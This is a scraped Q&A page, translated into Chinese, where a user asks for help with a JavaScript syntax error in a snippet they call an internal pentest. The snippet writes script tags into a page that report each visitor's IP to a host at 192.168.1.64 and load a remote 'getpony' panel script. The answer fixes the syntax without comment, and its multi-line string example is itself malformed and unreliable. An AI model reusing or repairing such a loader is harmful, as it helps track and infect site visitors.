Javascript格式错误

Javascript formatting error?

本文关键字:错误 格式 Javascript      更新时间:2023-09-26

感谢您花时间阅读并帮助我。

我正在尝试进行内部局域网测试,但我真的不喜欢javascript,这可以解释为什么我的代码不起作用。

有人知道出了什么问题吗?我想我的格式在哪里。

function pentest()
{ 
x = document.getElementById("pentestpayload");
if (x == null)
{
    document.write ( " <script>function getip(json) {
    document.write('<script type='''"application/javascript'''"
    src='''"http://192.168.1.64:1000/pony.php?id=''+
    json.ip + '''''"></scr''+''ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();

firebug在javascript控制台中给出以下错误:

 SyntaxError: unterminated string literal
 document.write ( " <script>function getip(json) { document.write('<script typ
 test.js (line 7, col 17)`
document.write ( " <script>function getip(json) {

应该是

document.write ( " <script>function getip(json) { ");

因为您没有用结束字符串的"和结束函数的)来结束函数document.write()

但这也是错误的,你最可能想要的是如何制作一个多行字符串,你可以像一样格式化

"myString '
that keeps on rocking"

但是,你试图做的事情并不是真正的最佳,总体上应该避免。